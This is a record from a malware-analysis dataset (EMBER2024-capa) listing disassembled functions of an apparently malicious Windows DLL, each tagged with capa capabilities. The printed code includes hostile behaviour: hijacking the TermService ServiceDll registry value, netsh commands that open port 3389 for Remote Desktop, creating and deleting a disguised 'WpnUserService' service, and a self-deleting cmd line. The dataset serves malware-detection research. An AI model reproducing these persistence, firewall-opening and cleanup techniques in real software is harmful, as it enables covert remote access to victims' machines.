joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004710
Capabilities:
Modify service

Disassembly:
push ebx
push edi
push 1
push str.ServicesActive
xor ebx, ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x10004765
mov eax, dword [esp + 0xc]
push ebp
push esi
push 2
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x10004760
mov ecx, dword [esp + 0x18]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push ecx
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push esi
mov ebx, eax
call ebp
push edi
call ebp
pop esi
pop ebp
pop edi
mov eax, ebx
pop ebx
ret

Function at 0x10004cb0
Capabilities:
Delete registry key

Disassembly:
mov eax, dword [0x10012330]
sub esp, 0x210
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
push edi
push eax
push reloc.WS2_32.dll_closesocket
call esi
mov ecx, dword [0x100122e0]
push ecx
push SysReAllocString
call esi
cmp dword [0x10012318], 0
mov edi, dword [esp + 0x21c]
je 0x10004d33
mov edx, dword [0x100122e0]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call esi
push 0
call fcn.1000d050
mov eax, dword [0x10012318]
add esp, 4
test eax, eax
je 0x10004d33
cmp dword [0x1001206c], 0
jne 0x10004d17
test edi, edi
je 0x10004d33
mov ecx, dword [0x1001235c]
push 1
push str.Wpn_User_Service_6ac92
push str.Wpn_User_Service_6ac92
push ecx
push eax
call fcn.100043a0
add esp, 0x14
cmp dword [0x10012378], 0
jne 0x10004d40
test edi, edi
je 0x10004d45
call fcn.100061f0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push 0x800
push 8
call edi
push eax
call fcn.10004e00
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
mov esi, eax
test esi, esi
je 0x10004db0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.NTDLL.dll_RtlRandom]
mov ecx, dword [0x10012054]
push ecx
push 0xa
push eax
push ecx
push str._c_ren___s.__.._lu.bak__ping_1.1.1.1__n__u__rmdir___s___q__s
push esi
call ebx
push 0
push 0
push 0
push esi
push str.cmd.exe
push 0
call fcn.10002850
add esp, 0x30
push esi
push 0
call edi
push eax
call fcn.1000c9e0
push 0x4b
push str.GlobalRMSServerGlobal
lea eax, [esp + 0x18]
push str._s_c
push eax
call ebx
add esp, 0x10
lea ecx, [esp + 0x10]
push ecx
push 0
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov esi, eax
pop ebx
test esi, esi
je 0x10004de9
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call sub.NTDLL.dll_NtClose
pop edi
pop esi
add esp, 0x210
ret
Function at 0x10004f30
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Set environment variable
Terminate process

Disassembly:
sub esp, 0x90
push esi
push edi
push 0x44
lea eax, [esp + 0x58]
push eax
call sub.NTDLL.dll_RtlZeroMemory
push 0x10
lea ecx, [esp + 0x48]
push ecx
call sub.NTDLL.dll_RtlZeroMemory
mov esi, dword [esp + 0xa0]
mov dword [esp + 0x54], 0x44
test esi, esi
jne 0x10004f6e
mov dword [esp + 0x80], 1
mov eax, dword [esp + 0xb4]
test eax, eax
je 0x10004f7d
mov dword [esp + 0x5c], eax
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
xor ecx, ecx
xor edx, edx
mov dword [esp + 8], 0x5f005f
mov dword [esp + 0xc], 0x6f0063
mov dword [esp + 0x10], 0x70006d
mov dword [esp + 0x14], 0x740061
mov dword [esp + 0x18], 0x6c005f
mov dword [esp + 0x1c], 0x790061
mov dword [esp + 0x20], 0x720065
mov word [esp + 0x24], cx
mov dword [esp + 0x28], 0x750052
mov dword [esp + 0x2c], 0x41006e
mov dword [esp + 0x30], 0x490073
mov dword [esp + 0x34], 0x76006e
mov dword [esp + 0x38], 0x6b006f
mov dword [esp + 0x3c], 0x720065
mov word [esp + 0x40], dx
cmp dword [0x10012318], ecx
jne 0x1000500d
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0xc]
push ecx
call edi
mov eax, dword [0x100123e4]
lea edx, [esp + 0x44]
push edx
test eax, eax
je 0x10005049
mov edx, dword [esp + 0xb4]
lea ecx, [esp + 0x58]
push ecx
mov ecx, dword [esp + 0xa4]
push edx
push 0
neg esi
sbb esi, esi
and esi, 0x8000000
push esi
push 0
push 0
push 0
push ecx
push 0
call eax
jmp 0x10005079
mov ecx, dword [esp + 0xb4]
mov edx, dword [esp + 0xa0]
lea eax, [esp + 0x58]
push eax
push ecx
push 0
neg esi
sbb esi, esi
and esi, 0x8000000
push esi
push 0
push 0
push 0
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp dword [0x10012318], 0
mov esi, eax
jne 0x1000508d
push 0
lea eax, [esp + 0xc]
push eax
call edi
pop edi
test esi, esi
pop esi
je 0x1000510d
mov eax, dword [esp + 0x9c]
test eax, eax
je 0x100050ed
cmp eax, 0xffffffff
je 0x100050ab
imul eax, eax, 0x3e8
jmp 0x100050ae
or eax, 0xffffffff
mov ecx, dword [esp + 0x3c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x100050d7
mov eax, dword [esp + 0xa0]
test eax, eax
je 0x100050ed
mov edx, dword [esp + 0x3c]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
jmp 0x100050ed
cmp dword [esp + 0xa4], 0
je 0x100050ed
mov eax, dword [esp + 0x3c]
push 0
push eax
call sub.NTDLL.dll_NtTerminateProcess
mov ecx, dword [esp + 0x40]
push ecx
call sub.NTDLL.dll_NtClose
mov edx, dword [esp + 0x3c]
push edx
call sub.NTDLL.dll_NtClose
mov eax, 1
add esp, 0x90
ret
xor eax, eax
add esp, 0x90
ret
Function at 0x10005c60
Capabilities:
Start service

Disassembly:
push ecx
push ebp
push edi
push 1
xor edi, edi
push str.ServicesActive
push edi
mov dword [esp + 0x14], edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebp, eax
test ebp, ebp
je 0x10005ce4
mov eax, dword [esp + 0x10]
push esi
push 0x10
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x10005cdc
push ebx
lea ebx, [edi + 2]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
lea esp, [esp]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x10005cc8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x10005cc8
push 0x7d0
call edi
dec ebx
jne 0x10005ca0
jmp 0x10005cd0
mov dword [esp + 0x10], 1
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, dword [esp + 0x10]
pop ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
mov eax, edi
pop edi
pop ebp
pop ecx
ret
Function at 0x100061f0
Capabilities:
Delete registry key
Delete registry value

Disassembly:
sub esp, 0x210
push 1
push str.WpnUserService_6ac92
call fcn.10006300
add esp, 8
test eax, eax
je 0x100062e7
cmp dword [0x10012318], 0
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push edi
je 0x10006289
push 0x1000e5dc
push 0
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
lea eax, [esp + 0x1c]
push str._s_s_c_s
push eax
call esi
add esp, 0x18
push 0
lea ecx, [esp + 0xc]
push ecx
push 0
push 0xf023f
push 0
push 0
push 0
lea edx, [esp + 0x28]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x2c], 0
call dword [0x1001234c]
test eax, eax
jne 0x10006289
mov eax, dword [esp + 8]
push str.WpnUserService_6ac92
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.WpnUserService_6ac92
push 0x5c
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
lea edx, [esp + 0x1c]
push str._s_s_c_s
push edx
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
add esp, 0x18
lea eax, [esp + 0xc]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call edi
push 0x1000e5dc
push str.WpnUserService_6ac92
push str.Services_
lea ecx, [esp + 0x18]
push str.SYSTEMCurrentControlSet_s_s_s
push ecx
call esi
add esp, 0x14
lea edx, [esp + 0xc]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call edi
pop edi
pop esi
add esp, 0x210
ret

Function at 0x10006300
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
xor ebp, ebp
push 0xf003f
push ebp
push ebp
mov dword [esp + 0x18], ebp
call esi
mov ebx, eax
test ebx, ebx
jne 0x10006331
push 1
push eax
push eax
call esi
mov ebx, eax
test ebx, ebx
je 0x100063c7
mov eax, dword [esp + 0x30]
push edi
push 0xf01ff
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
je 0x100063bf
lea ecx, [esp + 0x14]
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0x18], 1
je 0x10006398
lea edx, [esp + 0x14]
push edx
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x100063b4
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
lea eax, [esp + 0x14]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0x18], 1
je 0x10006398
push 0x3e8
call ebp
inc esi
cmp esi, 0x3c
jl 0x10006376
jmp 0x100063b4
cmp dword [esp + 0x38], 0
jne 0x100063a9
mov dword [esp + 0x10], 1
jmp 0x100063b4
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [esp + 0x10], eax
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebp, dword [esp + 0x10]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x10007a60
Capabilities:
Terminate process

Disassembly:
sub esp, 0x20c
push esi
mov esi, dword [esp + 0x218]
push edi
mov edi, dword [esp + 0x220]
test esi, esi
jne 0x10007a7e
test edi, edi
je 0x10007ae5
cmp dword [0x10012378], 0
je 0x10007a96
push 0
push str.WpnUserService_6ac92
call fcn.10006300
add esp, 8
test esi, esi
je 0x10007ae1
push 0x52
push str.GlobalRMSServerGlobal
lea eax, [esp + 0x10]
push str._s_c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [esp + 8]
push ecx
push 0
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov esi, eax
test esi, esi
je 0x10007ad6
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call sub.NTDLL.dll_NtClose
pop edi
xor eax, eax
pop esi
add esp, 0x20c
ret
test edi, edi
jne 0x10007af7
mov edx, dword [esp + 0x218]
push 0
push edx
call fcn.10004820
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x10007b00
Capabilities:
Get token membership

Disassembly:
sub esp, 0x10
push ebx
xor ebx, ebx
lea eax, [esp + 4]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea ecx, [esp + 0x34]
push ecx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov word [esp + 0x3c], 0x500
mov dword [esp + 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x10007b58
mov eax, dword [esp + 4]
lea edx, [esp + 8]
push edx
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [esp + 8]
pop ebx
add esp, 0x10
ret

Function at 0x10007b70
Capabilities:
Get session information

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
push edi
or edi, 0xffffffff
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
cmp esi, 0xffffffff
jne 0x10007be0
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x14]
push ecx
push 1
push 0
push 0
call sub.WTSAPI32.dll_WTSEnumerateSessionsW
test eax, eax
je 0x10007c08
mov edx, dword [esp + 8]
mov esi, dword [esp + 0x10]
xor eax, eax
mov ecx, esi
test edx, edx
jle 0x10007bd4
cmp dword [ecx + 8], 0
je 0x10007bd2
inc eax
add ecx, 0xc
cmp eax, edx
jl 0x10007bb8
push esi
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, edi
pop edi
pop esi
pop ecx
ret
mov edi, dword [ecx]
push esi
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, edi
pop edi
pop esi
pop ecx
ret
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x14]
push eax
push 8
push esi
push 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
je 0x10007c08
mov eax, dword [esp + 0x10]
cmp dword [eax], 0
push eax
cmove edi, esi
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, edi
pop edi
pop esi
pop ecx
ret
Function at 0x10007f50
Capabilities:
Copy file
Get disk size
Move file
Read file via mapping

Disassembly:
sub esp, 0x238
mov eax, dword [0x100122ec]
push esi
lea edx, [esp + 0xc]
push edx
xor ecx, ecx
push eax
mov word [esp + 0x1c], cx
lea ecx, [esp + 0x38]
push 0x1000e420
push ecx
mov dword [esp + 0x1c], 0x62002e
mov dword [esp + 0x20], 0x6b0061
call dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [0x100122ec]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExW]
add esp, 0x10
push 2
lea edx, [esp + 0x34]
push edx
push eax
call esi
test eax, eax
je 0x100080f3
mov ecx, dword [0x100122ec]
push 0
push ecx
lea edx, [esp + 0x38]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x10007fd8
mov eax, dword [0x100122ec]
push 2
push eax
lea ecx, [esp + 0x38]
push ecx
call esi
pop esi
add esp, 0x238
ret
mov edx, dword [0x100122ec]
push 0
push 0
push 3
push 0
push 1
push 0xc0000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x100080ed
push ebx
push 0
push 0
push 0
push 4
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebx, eax
test ebx, ebx
je 0x100080e6
push ebp
push 0
push 0
push 0
push 6
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebp, eax
test ebp, ebp
je 0x100080de
mov ecx, dword [0x10012054]
xorpd xmm0, xmm0
movlpd qword [esp + 0x30], xmm0
push edi
mov edi, dword [esp + 0x24c]
xorpd xmm0, xmm0
movlpd qword [esp + 0x2c], xmm0
xorpd xmm0, xmm0
mov dword [esp + 0x10], 0x3a0000
movlpd qword [esp + 0x24], xmm0
mov dword [esp + 0x14], 0x5c
mov dx, word [ecx]
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x38]
mov word [esp + 0x14], dx
push ecx
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x100080dd
mov ecx, dword [esp + 0x28]
xor eax, eax
cmp ecx, eax
ja 0x100080b7
mov eax, dword [esp + 0x24]
jb 0x100080ab
cmp eax, edi
jae 0x100080b7
test ecx, ecx
jne 0x100080b3
test eax, eax
je 0x100080b7
shr eax, 1
mov edi, eax
test edi, edi
je 0x100080dd
push 0
push 0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
je 0x100080dd
push 0
push 0
push 0
push esi
call edi
pop edi
push ebp
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
pop ebp
push ebx
call sub.NTDLL.dll_NtClose
pop ebx
push esi
call sub.NTDLL.dll_NtClose
pop esi
add esp, 0x238
ret
Function at 0x10008160
Capabilities:
Get common file path

Disassembly:
sub esp, 0x68
push edi
push 0x1000
push 8
mov dword [esp + 0x14], str.netsh_advfirewall_firewall_add_rule_name_Remote_Desktop__dirin_protocoltcp_localport3389_profileany_actionallow
mov dword [esp + 0x18], str.netsh_advfirewall_firewall_add_rule_name_Remote_Desktop__dirin_protocoludp_localport3389_profileany_actionallow
mov dword [esp + 0x1c], str.netsh_advfirewall_firewall_delete_rule_name_Remote_Desktop_
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10004e00
mov edi, eax
test edi, edi
je 0x100082a3
push 0x800
lea ecx, [edi + 2]
mov eax, 0x22
push ecx
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x10008294
inc eax
cmp word [edi + eax*2 - 2], 0x5c
je 0x100081cb
mov edx, 0x5c
mov word [edi + eax*2], dx
inc eax
mov ecx, dword [esp + 0x70]
push esi
mov esi, ecx
neg esi
sbb esi, esi
and esi, 0xfffffffe
add esi, 2
neg ecx
sbb ecx, ecx
add ecx, 3
mov dword [esp + 0xc], ecx
cmp esi, ecx
jge 0x10008293
push ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [edi + eax*2]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [esp + 0x10], eax
mov ecx, dword [esp + esi*4 + 0x18]
mov edx, dword [esp + 0x10]
push ecx
push str.cmd.exe___c__s
push edx
call ebx
add esp, 0xc
push 0x44
lea eax, [esp + 0x38]
push eax
call sub.NTDLL.dll_RtlZeroMemory
push 0x10
lea ecx, [esp + 0x28]
push ecx
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 1
call sub.NTDLL.dll_RtlZeroMemory
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x38]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push edi
push 0
call ebp
test eax, eax
je 0x10008286
mov ecx, dword [esp + 0x24]
push 0x7530
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x28]
push edx
call sub.NTDLL.dll_NtClose
mov eax, dword [esp + 0x24]
push eax
call sub.NTDLL.dll_NtClose
inc esi
cmp esi, dword [esp + 0x14]
jl 0x10008204
pop ebp
pop ebx
pop esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.1000c9e0
pop edi
add esp, 0x68
ret
Function at 0x100081cf
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x68
push edi
push 0x1000
push 8
mov dword [esp + 0x14], str.netsh_advfirewall_firewall_add_rule_name_Remote_Desktop__dirin_protocoltcp_localport3389_profileany_actionallow
mov dword [esp + 0x18], str.netsh_advfirewall_firewall_add_rule_name_Remote_Desktop__dirin_protocoludp_localport3389_profileany_actionallow
mov dword [esp + 0x1c], str.netsh_advfirewall_firewall_delete_rule_name_Remote_Desktop_
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10004e00
mov edi, eax
test edi, edi
je 0x100082a3
push 0x800
lea ecx, [edi + 2]
mov eax, 0x22
push ecx
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x10008294
inc eax
cmp word [edi + eax*2 - 2], 0x5c
je 0x100081cb
mov edx, 0x5c
mov word [edi + eax*2], dx
inc eax
mov ecx, dword [esp + 0x70]
push esi
mov esi, ecx
neg esi
sbb esi, esi
and esi, 0xfffffffe
add esi, 2
neg ecx
sbb ecx, ecx
add ecx, 3
mov dword [esp + 0xc], ecx
cmp esi, ecx
jge 0x10008293
push ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [edi + eax*2]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [esp + 0x10], eax
mov ecx, dword [esp + esi*4 + 0x18]
mov edx, dword [esp + 0x10]
push ecx
push str.cmd.exe___c__s
push edx
call ebx
add esp, 0xc
push 0x44
lea eax, [esp + 0x38]
push eax
call sub.NTDLL.dll_RtlZeroMemory
push 0x10
lea ecx, [esp + 0x28]
push ecx
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 1
call sub.NTDLL.dll_RtlZeroMemory
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x38]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push edi
push 0
call ebp
test eax, eax
je 0x10008286
mov ecx, dword [esp + 0x24]
push 0x7530
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x28]
push edx
call sub.NTDLL.dll_NtClose
mov eax, dword [esp + 0x24]
push eax
call sub.NTDLL.dll_NtClose
inc esi
cmp esi, dword [esp + 0x14]
jl 0x10008204
pop ebp
pop ebx
pop esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.1000c9e0
pop edi
add esp, 0x68
ret
Function at 0x100089d0
Capabilities:
Suspend thread

Disassembly:
push esi
mov esi, eax
push edi
xor edi, edi
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
call fcn.1000c6b0
test eax, eax
jne 0x100089ed
lea eax, [edi + 9]
pop edi
pop esi
ret
cmp dword [esi], edi
je 0x10008a47
push ebx
xor ebx, ebx
cmp dword [esi + 8], ebx
jbe 0x10008a41
lea esp, [esp]
mov eax, dword [esi]
mov ecx, dword [eax + ebx*4]
push ecx
push 0
push 0x5a
call fcn.10005bf0
mov edi, eax
test edi, edi
je 0x10008a35
push 0
push edi
call sub.NTDLL.dll_NtSuspendThread
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push edx
push edi
call fcn.1000aea0
add esp, 8
push edi
call sub.NTDLL.dll_NtClose
inc ebx
cmp ebx, dword [esi + 8]
jb 0x10008a00
pop ebx
pop edi
xor eax, eax
pop esi
ret
pop ebx
mov eax, edi
pop edi
pop esi
ret
mov eax, edi
pop edi
pop esi
ret

Function at 0x10008af0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
mov esi, dword [esp + 0x10]
xor edx, edx
or eax, 0xffffffff
test esi, esi
je 0x10008b9b
push edi
mov edi, dword [esp + 0x10]
movzx ecx, byte [edx + edi]
xor eax, ecx
mov ecx, eax
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
inc edx
xor eax, ecx
cmp edx, esi
jb 0x10008b07
pop edi
not eax
pop esi
ret
Function at 0x10008f80
Capabilities:
Create process on windows
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x58
mov ecx, dword [0x10012394]
push ebp
xor ebp, ebp
push ebp
neg ecx
sbb ecx, ecx
lea eax, [esp + 8]
push eax
push ebp
and ecx, 0x100
add ecx, 0x20006
push ecx
push ebp
push ebp
push ebp
push str.SYSTEMCurrentControlSetServicesTermServiceParameters
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x28], ebp
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x10009105
push edi
mov edi, dword [esp + 0x64]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [eax + eax + 2]
mov eax, dword [esp + 8]
push edx
push edi
push 2
push ebp
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x100090f9
lea ebp, [eax + 1]
cmp dword [0x10012394], eax
je 0x100090f9
mov eax, dword [0x100125c0]
cmp dword [eax + 4], 6
jne 0x100090f9
cmp dword [eax + 8], 0
jne 0x100090f9
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0x1000
push 8
call ebx
push eax
call fcn.10004e00
mov esi, eax
test esi, esi
je 0x100090f7
push 0x800
lea edx, [esi + 2]
mov ecx, 0x22
push edx
mov word [esi], cx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x100090ec
inc eax
cmp word [esi + eax*2 - 2], 0x5c
je 0x1000906b
mov ecx, 0x5c
mov word [esi + eax*2], cx
inc eax
push edi
lea edx, [esi + eax*2]
push str.reg.exe__add_HKLMSYSTEMCurrentControlSetServicesTermServiceParameters__v_ServiceDll__t_REG_EXPAND_SZ__d___s___f
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x44
lea eax, [esp + 0x28]
push eax
call sub.NTDLL.dll_RtlZeroMemory
push 0x10
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x2c], 0x44
mov dword [esp + 0x58], ebp
call sub.NTDLL.dll_RtlZeroMemory
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x28]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x100090ec
mov ecx, dword [esp + 0x14]
push 0x7530
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x18]
push edx
call sub.NTDLL.dll_NtClose
mov eax, dword [esp + 0x14]
push eax
call sub.NTDLL.dll_NtClose
push esi
push 0
call ebx
push eax
call fcn.1000c9e0
pop esi
pop ebx
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, ebp
pop ebp
add esp, 0x58
ret